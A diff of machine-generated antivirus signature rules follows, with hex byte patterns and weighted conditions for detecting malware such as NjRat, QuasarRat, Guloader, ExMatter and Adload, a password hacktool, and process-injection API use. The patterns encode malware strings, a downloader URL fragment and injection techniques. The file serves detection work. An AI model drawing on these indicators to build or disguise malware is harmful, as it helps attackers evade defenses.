6a 52 61 74 2e 4e 45 42 4f 21 4d 54 42 00 0a 00 39 01 28 7b 00 00 0a 6f f0 00 00 0a 2c 15 07 6f f1 00 00 0a 11 04 6f ef 00 00 0a 6f f2 00 00 0a 0a 2b 1a 11 06 17 d6 13 06 11 06 11 05 8e 69 32 bd 09 17 d6 0d 09 08 8e 69 32 a2 02 00 2e 01 59 00 6f 00 75 00 72 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 20 00 69 00 73 00 20 00 6e 00 6f 00 77 00 20 00 6d 00 69 00 6e 00 65 00 02 00 2a 01 49 00 20 00 61 00 6d 00 20 00 69 00 6e 00 20 00 79 00 6f 00 75 00 72 00 20 00 43 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 00 } //30720 - $a_00_5 = {00 13 00 13 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 51 75 61 73 61 72 52 61 74 2e 4e 45 41 43 21 4d 54 42 00 05 00 24 01 33 39 61 61 39 35 61 31 2d 34 31 38 39 2d 34 37 66 32 2d 38 34 37 34 2d 30 63 66 66 64 66 33 61 65 63 62 63 05 00 19 01 53 75 64 6f 6b 75 50 75 7a 7a 6c 65 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 04 00 0d 01 32 30 31 34 20 48 61 6e 20 48 75 6e 67 02 00 0f 01 67 65 74 5f 47 61 6d 65 73 4c 65 76 65 6c 30 02 00 11 01 73 65 74 5f 53 68 75 74 64 6f 77 6e 53 74 79 6c 65 01 00 17 01 44 65 62 75 67 67 65 72 48 69 64 64 65 6e 41 74 74 72 69 62 75 74 65 00 } //30720 - $a_00_6 = {00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 48 65 61 76 79 50 61 73 73 2e 42 21 64 68 61 00 64 00 69 01 55 73 61 67 65 3a 20 43 6c 69 65 6e 74 2e 65 78 65 20 52 65 6d 6f 74 65 50 61 74 68 20 50 6f 72 74 20 5b 2d 62 20 46 72 6f 6d 28 4d 42 29 5d 20 5b 2d 73 20 53 69 7a 65 28 4d 42 29 5d 20 5b 2d 7a 5d 20 5b 2d 72 5d 20 5b 2d 78 20 45 78 74 4c 69 73 74 5d 20 5b 2d 6c 20 28 3d 20 7c 20 4c 6f 63 61 6c 50 61 74 68 29 5d 64 00 25 01 54 6f 74 61 6c 3a 20 25 73 2c 20 25 64 20 46 69 6c 65 73 20 69 6e 20 25 64 20 44 69 72 65 63 74 6f 72 69 65 73 00 } //30720 - $a_00_7 = {00 01 00 01 00 02 00 21 23 48 53 54 52 3a 41 6e 74 69 45 6d 75 43 68 65 63 6b 53 79 73 44 61 74 65 00 01 00 57 03 8a 01 88 82 90 01 04 8b 0d 90 01 04 0f be 91 90 01 04 0f b6 05 90 01 04 33 d0 88 55 ff 8d 35 90 01 04 03 35 90 01 04 8a 45 ff 88 06 8b 0d 90 01 04 83 c1 01 89 0d 90 01 04 81 3d 90 01 04 5e 01 00 00 72 a1 8d 05 90 01 04 66 03 05 90 01 04 66 2d de 07 ff e0 90 00 01 00 45 03 88 01 8b 0d 90 01 04 03 0d 90 01 04 0f be 11 0f b6 05 90 01 04 33 d0 88 55 ff 8b 35 90 01 04 03 35 90 01 04 8a 45 ff 88 06 8b 0d 90 01 04 83 c1 01 89 0d 90 01 04 81 3d 90 01 04 5e 01 00 00 72 9d ff 25 90 00 00 } //30720 + $a_00_2 = {00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 51 47 30 31 21 4d 54 42 00 01 00 14 81 01 61 6e 67 72 65 62 73 76 61 61 62 65 6e 65 74 73 2e 69 6e 69 01 00 10 81 01 50 6c 65 6f 6e 61 73 74 69 63 37 37 2e 74 78 74 01 00 10 81 01 70 72 6f 6a 65 6b 74 72 65 72 6e 65 2e 68 65 6d 01 00 0c 81 01 76 69 63 65 6e 74 65 73 2e 6b 6e 79 01 00 11 81 01 42 69 6c 6c 61 72 64 6b 75 67 6c 65 73 2e 69 6e 69 01 00 0d 81 01 6d 6f 6d 73 6e 76 6e 65 74 2e 6a 70 67 01 00 0e 81 01 42 69 6c 61 62 69 61 6c 65 6e 2e 74 78 74 01 00 0a 81 01 6f 72 74 68 69 63 2e 68 75 73 00 } //30720 + $a_00_3 = {00 08 00 08 00 08 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 78 4d 61 74 74 65 72 2e 4d 50 21 4d 54 42 00 01 00 10 01 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 01 00 1d 01 24 72 6f 77 4f 66 66 73 65 74 20 3d 20 24 69 20 2a 20 24 62 75 66 66 65 72 53 69 7a 65 01 00 0b 01 66 6f 75 6e 64 41 63 63 65 73 73 01 00 12 01 24 61 63 65 45 6e 74 72 79 2e 41 63 65 46 6c 61 67 73 01 00 0c 01 4d 41 43 54 72 69 70 6c 65 44 45 53 01 00 09 01 52 49 50 45 4d 44 31 36 30 01 00 0f 01 24 70 61 74 68 73 54 6f 50 72 6f 63 65 73 73 01 00 0d 01 47 65 74 2d 43 6c 69 70 62 6f 61 72 64 00 } //30720 + $a_00_4 = {00 0e 00 0d 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 41 64 6c 6f 61 64 2e 53 49 42 43 21 4d 54 42 00 0a 00 45 03 68 74 74 70 3a 2f 2f 90 01 08 2d 90 01 04 2d 90 01 04 2d 90 01 04 2d 90 01 0c 2e 73 33 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 2f 44 6f 77 6e 6c 6f 61 64 65 72 2f 53 6d 61 72 74 50 44 46 2e 65 78 65 90 00 01 00 0c 01 31 30 2e 33 32 2e 30 2e 36 34 2e 32 01 00 0e 01 69 74 64 6f 77 6e 6c 6f 61 64 2e 64 6c 6c 01 00 10 01 69 74 64 5f 64 6f 77 6e 6c 6f 61 64 66 69 6c 65 01 00 0e 01 69 74 64 5f 63 6c 65 61 72 66 69 6c 65 73 00 } //30720 + $a_00_5 = {00 0e 00 0e 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 61 74 2e 4e 45 42 4f 21 4d 54 42 00 0a 00 39 01 28 7b 00 00 0a 6f f0 00 00 0a 2c 15 07 6f f1 00 00 0a 11 04 6f ef 00 00 0a 6f f2 00 00 0a 0a 2b 1a 11 06 17 d6 13 06 11 06 11 05 8e 69 32 bd 09 17 d6 0d 09 08 8e 69 32 a2 02 00 2e 01 59 00 6f 00 75 00 72 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 20 00 69 00 73 00 20 00 6e 00 6f 00 77 00 20 00 6d 00 69 00 6e 00 65 00 02 00 2a 01 49 00 20 00 61 00 6d 00 20 00 69 00 6e 00 20 00 79 00 6f 00 75 00 72 00 20 00 43 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 00 } //30720 + $a_00_6 = {00 13 00 13 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 51 75 61 73 61 72 52 61 74 2e 4e 45 41 43 21 4d 54 42 00 05 00 24 01 33 39 61 61 39 35 61 31 2d 34 31 38 39 2d 34 37 66 32 2d 38 34 37 34 2d 30 63 66 66 64 66 33 61 65 63 62 63 05 00 19 01 53 75 64 6f 6b 75 50 75 7a 7a 6c 65 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 04 00 0d 01 32 30 31 34 20 48 61 6e 20 48 75 6e 67 02 00 0f 01 67 65 74 5f 47 61 6d 65 73 4c 65 76 65 6c 30 02 00 11 01 73 65 74 5f 53 68 75 74 64 6f 77 6e 53 74 79 6c 65 01 00 17 01 44 65 62 75 67 67 65 72 48 69 64 64 65 6e 41 74 74 72 69 62 75 74 65 00 } //30720 + $a_00_7 = {00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 48 65 61 76 79 50 61 73 73 2e 42 21 64 68 61 00 64 00 69 01 55 73 61 67 65 3a 20 43 6c 69 65 6e 74 2e 65 78 65 20 52 65 6d 6f 74 65 50 61 74 68 20 50 6f 72 74 20 5b 2d 62 20 46 72 6f 6d 28 4d 42 29 5d 20 5b 2d 73 20 53 69 7a 65 28 4d 42 29 5d 20 5b 2d 7a 5d 20 5b 2d 72 5d 20 5b 2d 78 20 45 78 74 4c 69 73 74 5d 20 5b 2d 6c 20 28 3d 20 7c 20 4c 6f 63 61 6c 50 61 74 68 29 5d 64 00 25 01 54 6f 74 61 6c 3a 20 25 73 2c 20 25 64 20 46 69 6c 65 73 20 69 6e 20 25 64 20 44 69 72 65 63 74 6f 72 69 65 73 00 } //30720 condition: ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*20575+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720+(#a_00_7 & 1)*30720) >=8 } -rule _InfrastructureShared_13616{ +rule _InfrastructureShared_14515{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 51 47 30 31 21 4d 54 42 00 01 00 14 81 01 61 6e 67 72 65 62 73 76 61 61 62 65 6e 65 74 73 2e 69 6e 69 01 00 10 81 01 50 6c 65 6f 6e 61 73 74 69 63 37 37 2e 74 78 74 01 00 10 81 01 70 72 6f 6a 65 6b } //18467 + $a_72_1 = {65 2e 68 65 6d 01 00 0c 81 01 76 69 63 65 6e 74 65 73 2e 6b 6e 79 01 00 11 81 01 42 69 6c 6c 61 72 64 6b 75 67 6c 65 73 2e 69 6e 69 01 00 0d 81 01 6d 6f 6d 73 6e 76 6e 65 74 2e 6a 70 67 01 00 0e 81 01 42 69 6c 61 62 69 61 6c 65 6e 2e 74 78 74 01 00 0a 81 01 6f 72 74 68 69 63 2e 68 75 73 00 00 78 c6 00 } //29300 + $a_3a_4 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 78 4d 61 74 74 65 72 2e 4d 50 21 4d 54 42 00 01 00 10 01 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 01 00 1d 01 24 72 6f 77 4f 66 66 73 65 74 20 3d 20 24 69 20 2a 20 } //19539 + $a_66_5 = {65 72 53 69 7a 65 01 00 0b 01 66 6f 75 6e 64 41 63 63 65 73 73 01 00 12 01 24 61 63 65 45 6e 74 72 79 2e 41 63 65 46 6c 61 67 73 01 00 0c 01 4d 41 43 54 72 69 70 6c 65 44 45 53 01 00 09 01 52 49 50 45 4d 44 31 36 30 01 00 0f 01 24 70 61 74 68 73 54 6f 50 72 6f 63 65 73 73 01 00 0d 01 47 65 74 2d 43 6c 69 70 62 6f 61 72 64 00 00 78 c6 00 00 0e 00 0d } //25124 + $a_3a_7 = {72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 41 64 6c 6f 61 64 2e 53 49 42 43 21 4d 54 42 00 0a 00 45 03 68 74 74 70 3a 2f 2f 90 01 08 2d 90 01 04 2d 90 01 04 2d 90 01 04 2d 90 01 0c 2e 73 } //19521 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29300+(#a_3a_4 & 1)*19539+(#a_66_5 & 1)*25124+(#a_3a_7 & 1)*19521) >=8 + +} +rule _InfrastructureShared_14516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -154071,7 +164423,7 @@ rule _InfrastructureShared_13616{ ((#a_46_0 & 1)*21283+(#a_69_1 & 1)*29285+(#a_01_2 & 1)*29541+(#a_6f_3 & 1)*11891+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720+(#a_00_7 & 1)*30720) >=8 } -rule _InfrastructureShared_13617{ +rule _InfrastructureShared_14517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0d 00 05 00 21 " @@ -154084,7 +164436,7 @@ rule _InfrastructureShared_13617{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28538+(#a_41_3 & 1)*8448+(#a_6f_4 & 1)*0) >=13 } -rule _InfrastructureShared_13618{ +rule _InfrastructureShared_14518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -154096,7 +164448,7 @@ rule _InfrastructureShared_13618{ ((#a_46_0 & 1)*16675+(#a_17_1 & 1)*-17102+(#a_00_2 & 1)*302) >=14 } -rule _InfrastructureShared_13619{ +rule _InfrastructureShared_14519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 06 00 21 " @@ -154111,7 +164463,7 @@ rule _InfrastructureShared_13619{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*25717+(#a_00_2 & 1)*200+(#a_50_3 & 1)*19521+(#a_62_4 & 1)*23328+(#a_2d_5 & 1)*8285) >=19 } -rule _InfrastructureShared_13620{ +rule _InfrastructureShared_14520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -154122,7 +164474,7 @@ rule _InfrastructureShared_13620{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*29254) >=200 } -rule _InfrastructureShared_13621{ +rule _InfrastructureShared_14521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -154133,7 +164485,7 @@ rule _InfrastructureShared_13621{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28611) >=1 } -rule _InfrastructureShared_13622{ +rule _InfrastructureShared_14522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -154144,7 +164496,7 @@ rule _InfrastructureShared_13622{ ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*-1) >=1 } -rule _InfrastructureShared_13623{ +rule _InfrastructureShared_14523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -154156,7 +164508,7 @@ rule _InfrastructureShared_13623{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*117+(#a_72_3 & 1)*14930) >=2 } -rule _InfrastructureShared_13624{ +rule _InfrastructureShared_14524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -154168,7 +164520,7 @@ rule _InfrastructureShared_13624{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*13107+(#a_44_2 & 1)*14385) >=3 } -rule _InfrastructureShared_13625{ +rule _InfrastructureShared_14525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -154180,7 +164532,7 @@ rule _InfrastructureShared_13625{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*-14657+(#a_a8_2 & 1)*7823) >=3 } -rule _InfrastructureShared_13626{ +rule _InfrastructureShared_14526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -154191,7 +164543,7 @@ rule _InfrastructureShared_13626{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24841) >=3 } -rule _InfrastructureShared_13627{ +rule _InfrastructureShared_14527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -154203,7 +164555,7 @@ rule _InfrastructureShared_13627{ ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*8448+(#a_8a_2 & 1)*32139) >=3 } -rule _InfrastructureShared_13628{ +rule _InfrastructureShared_14528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -154215,7 +164567,7 @@ rule _InfrastructureShared_13628{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*10337+(#a_85_2 & 1)*25632) >=3 } -rule _InfrastructureShared_13629{ +rule _InfrastructureShared_14529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -154227,7 +164579,7 @@ rule _InfrastructureShared_13629{ ((#a_46_0 & 1)*21283+(#a_04_1 & 1)*-28540+(#a_01_2 & 1)*-31349) >=3 } -rule _InfrastructureShared_13630{ +rule _InfrastructureShared_14530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -154240,7 +164592,7 @@ rule _InfrastructureShared_13630{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*28784+(#a_74_2 & 1)*21356+(#a_78_3 & 1)*18021) >=3 } -rule _InfrastructureShared_13631{ +rule _InfrastructureShared_14531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -154252,7 +164604,23 @@ rule _InfrastructureShared_13631{ ((#a_46_0 & 1)*16675+(#a_16_2 & 1)*-18673+(#a_8b_3 & 1)*-10047) >=3 } -rule _InfrastructureShared_13632{ +rule _InfrastructureShared_14532{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 50 72 6f 63 65 73 73 61 6e 64 54 68 72 65 61 64 4d 61 6e 61 67 65 6d 65 6e 74 2e 50 52 21 41 4d 54 42 00 01 00 12 81 01 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 01 00 0c 81 01 51 75 65 75 65 55 73 65 72 41 50 43 01 } //18467 + $a_01_1 = {57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 01 00 0e 81 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 01 00 0b 81 01 4f 70 65 6e 50 72 6f 63 65 73 73 01 00 10 81 01 4e 74 43 72 65 61 74 65 54 68 72 65 61 64 45 78 01 00 13 81 01 52 74 6c 43 72 65 61 74 65 55 73 65 72 54 68 72 65 61 64 00 00 78 c7 00 00 03 00 03 00 09 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 62 70 } //4608 + $a_00_2 = {01 00 08 01 75 70 64 2e 70 68 70 3f 01 00 08 01 2e 6e 65 77 2e 65 78 65 01 00 07 01 6d 75 74 65 78 46 50 01 00 11 01 53 6f 66 74 77 61 72 65 5c 46 6c 69 70 6f 70 69 61 01 00 14 01 63 6c 69 65 6e 74 73 2e 66 6c 69 70 6f 70 69 61 2e 63 6f 6d 01 00 17 01 55 73 65 72 2d 41 67 65 6e 74 3a 20 46 50 49 6e 73 74 61 6c } //29793 + $a_01_3 = {00 0d 01 46 6c 69 70 6f 70 69 61 2e 70 64 62 00 01 00 12 01 5c 63 6f 6e 74 65 78 74 75 65 6c 5f 70 6f 70 70 65 72 01 00 12 01 41 56 43 52 65 6c 61 74 65 64 53 65 61 72 63 68 40 40 00 00 78 c7 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 56 65 6c 76 65 74 4d 61 6d 6d 6f 74 68 } //25964 + $a_64_4 = {61 00 01 00 29 01 50 6c 65 61 73 65 20 65 6e 74 65 72 20 74 68 65 20 4c 69 73 74 4f 66 55 72 6c 73 } //16686 + $a_74_5 = {66 69 6c 65 21 21 21 20 0a 01 00 18 01 5b 20 53 54 41 52 54 20 41 55 54 4f 2d 52 45 43 45 49 56 45 52 20 5d 0a 01 00 28 01 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 73 65 72 76 65 72 20 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 20 0a 01 00 15 01 64 65 6c 65 74 65 20 73 65 72 76 65 72 20 66 69 6c 65 20 3a 20 00 00 78 c7 00 00 04 00 04 00 04 00 21 23 } //29742 + $a_3a_6 = {69 6e 33 32 2f 54 68 6f 70 75 2e 41 21 4d 54 42 00 01 00 13 01 6d 61 69 6e 2e 67 65 74 43 75 72 72 65 6e 74 55 73 65 72 01 00 13 01 6d 61 69 6e 2e 65 78 65 63 75 74 65 43 6f 6d 6d 61 6e 64 01 00 12 01 6d 61 69 6e 2e 67 65 74 43 } //17748 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4608+(#a_00_2 & 1)*29793+(#a_01_3 & 1)*25964+(#a_64_4 & 1)*16686+(#a_74_5 & 1)*29742+(#a_3a_6 & 1)*17748) >=3 + +} +rule _InfrastructureShared_14533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -154270,7 +164638,7 @@ rule _InfrastructureShared_13632{ ((#a_77_0 & 1)*16675+(#a_65_1 & 1)*21761+(#a_33_2 & 1)*26967+(#a_65_3 & 1)*8303+(#a_65_4 & 1)*25902+(#a_c4_5 & 1)*18432+(#a_00_6 & 1)*117+(#a_6b_7 & 1)*28492+(#a_e3_8 & 1)*18632) >=3 } -rule _InfrastructureShared_13633{ +rule _InfrastructureShared_14534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -154283,7 +164651,7 @@ rule _InfrastructureShared_13633{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*29816+(#a_01_2 & 1)*23840+(#a_20_3 & 1)*28265) >=4 } -rule _InfrastructureShared_13634{ +rule _InfrastructureShared_14535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -154295,7 +164663,7 @@ rule _InfrastructureShared_13634{ ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*26977+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_13635{ +rule _InfrastructureShared_14536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -154307,7 +164675,7 @@ rule _InfrastructureShared_13635{ ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*103+(#a_52_5 & 1)*21320) >=4 } -rule _InfrastructureShared_13636{ +rule _InfrastructureShared_14537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -154318,7 +164686,7 @@ rule _InfrastructureShared_13636{ ((#a_54_0 & 1)*18467+(#a_c0_1 & 1)*16832) >=5 } -rule _InfrastructureShared_13637{ +rule _InfrastructureShared_14538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -154329,7 +164697,7 @@ rule _InfrastructureShared_13637{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*656) >=5 } -rule _InfrastructureShared_13638{ +rule _InfrastructureShared_14539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -154341,7 +164709,7 @@ rule _InfrastructureShared_13638{ ((#a_4c_0 & 1)*21539+(#a_a2_1 & 1)*0+(#a_32_2 & 1)*7425) >=5 } -rule _InfrastructureShared_13639{ +rule _InfrastructureShared_14540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -154355,7 +164723,7 @@ rule _InfrastructureShared_13639{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*-32476+(#a_37_2 & 1)*13670+(#a_65_3 & 1)*26988+(#a_61_4 & 1)*26164) >=5 } -rule _InfrastructureShared_13640{ +rule _InfrastructureShared_14541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -154369,7 +164737,7 @@ rule _InfrastructureShared_13640{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*18495+(#a_38_2 & 1)*385+(#a_66_3 & 1)*12597+(#a_c7_4 & 1)*0) >=5 } -rule _InfrastructureShared_13641{ +rule _InfrastructureShared_14542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -154382,7 +164750,7 @@ rule _InfrastructureShared_13641{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*26211+(#a_00_2 & 1)*0+(#a_54_3 & 1)*18467) >=5 } -rule _InfrastructureShared_13642{ +rule _InfrastructureShared_14543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -154395,7 +164763,7 @@ rule _InfrastructureShared_13642{ ((#a_54_0 & 1)*18467+(#a_57_2 & 1)*22273+(#a_64_3 & 1)*18504+(#a_9a_4 & 1)*2560) >=5 } -rule _InfrastructureShared_13643{ +rule _InfrastructureShared_14544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -154407,7 +164775,7 @@ rule _InfrastructureShared_13643{ ((#a_54_0 & 1)*18467+(#a_14_1 & 1)*0+(#a_90_2 & 1)*1024) >=6 } -rule _InfrastructureShared_13644{ +rule _InfrastructureShared_14545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -154421,7 +164789,7 @@ rule _InfrastructureShared_13644{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29554+(#a_41_3 & 1)*8448+(#a_39_4 & 1)*19457+(#a_57_5 & 1)*13168) >=6 } -rule _InfrastructureShared_13645{ +rule _InfrastructureShared_14546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -154436,7 +164804,7 @@ rule _InfrastructureShared_13645{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*26483+(#a_61_2 & 1)*29300+(#a_59_3 & 1)*20584+(#a_4e_4 & 1)*21587+(#a_31_5 & 1)*21074) >=6 } -rule _InfrastructureShared_13646{ +rule _InfrastructureShared_14547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -154451,7 +164819,7 @@ rule _InfrastructureShared_13646{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*18774+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_c7_4 & 1)*0+(#a_65_5 & 1)*24939) >=6 } -rule _InfrastructureShared_13647{ +rule _InfrastructureShared_14548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -154466,7 +164834,7 @@ rule _InfrastructureShared_13647{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25186+(#a_54_2 & 1)*18467+(#a_00_3 & 1)*10+(#a_61_4 & 1)*19457+(#a_33_5 & 1)*26967) >=6 } -rule _InfrastructureShared_13648{ +rule _InfrastructureShared_14549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -154480,7 +164848,7 @@ rule _InfrastructureShared_13648{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*10+(#a_61_2 & 1)*19457+(#a_33_3 & 1)*26967+(#a_61_4 & 1)*25856) >=6 } -rule _InfrastructureShared_13649{ +rule _InfrastructureShared_14550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -154493,7 +164861,7 @@ rule _InfrastructureShared_13649{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*48+(#a_6d_3 & 1)*13925+(#a_00_5 & 1)*7) >=6 } -rule _InfrastructureShared_13650{ +rule _InfrastructureShared_14551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -154508,7 +164876,7 @@ rule _InfrastructureShared_13650{ ((#a_77_0 & 1)*19491+(#a_74_1 & 1)*514+(#a_72_2 & 1)*27745+(#a_44_3 & 1)*29766+(#a_61_4 & 1)*29251+(#a_6f_5 & 1)*28001) >=7 } -rule _InfrastructureShared_13651{ +rule _InfrastructureShared_14552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -154523,7 +164891,7 @@ rule _InfrastructureShared_13651{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=7 } -rule _InfrastructureShared_13652{ +rule _InfrastructureShared_14553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -154538,7 +164906,7 @@ rule _InfrastructureShared_13652{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*30828+(#a_23_2 & 1)*7+(#a_46_3 & 1)*21619+(#a_73_5 & 1)*384+(#a_6e_6 & 1)*28271) >=7 } -rule _InfrastructureShared_13653{ +rule _InfrastructureShared_14554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -154552,23 +164920,39 